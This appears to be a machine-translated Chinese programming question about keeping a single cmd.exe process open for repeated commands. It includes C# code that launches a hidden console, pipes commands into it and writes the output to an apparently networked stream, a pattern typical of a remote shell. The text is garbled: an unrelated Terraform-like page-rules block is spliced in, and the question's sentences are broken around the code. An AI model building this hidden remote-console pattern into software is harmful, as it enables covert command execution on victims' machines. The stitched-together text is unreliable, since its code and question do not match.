我想知道是否有一种方法可以使Command提示符对于多个输入保持打开状态, 代码:
page_rules = [
{
target = "www.target-url.com",
ssl = "flexible",
cache_level = "simplified",
},
{
target = "www.target-url.com",
ssl = null,
cache_level = "simplified"
}
]
如果我删除了 private static void openConsole()
{
Process p = new Process();
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
cmdProc = p;
cmdProc.Start();
byte[] dat = Encoding.UTF8.GetBytes("CMD running!");
stream.Write(dat, 0, dat.Length);
}
private static void ConsoleCMDs(string cmd)
{
if(cmdProc != null)
{
cmdProc.StandardInput.WriteLine(cmd);
cmdProc.StandardInput.Flush();
cmdProc.StandardInput.Close(); // i want to remove these so i can just call the ConsoleCMDs method multible times and keep the same console instance, so i can navagate to C:\\ and run commands from there.
string resp = cmdProc.StandardOutput.ReadToEnd();
byte[] dat = Encoding.UTF8.GetBytes(resp);
stream.Write(dat, 0, dat.Length);
}
else
{
byte[] dat = Encoding.UTF8.GetBytes("CMD not running...");
stream.Write(dat, 0, dat.Length);
}
}
,那么cmdProc.StandardInput.Close();
会卡住,我想知道是否有一种方法可以写入同一命令提示符,谢谢cmdProc.StandardOutput.ReadToEnd()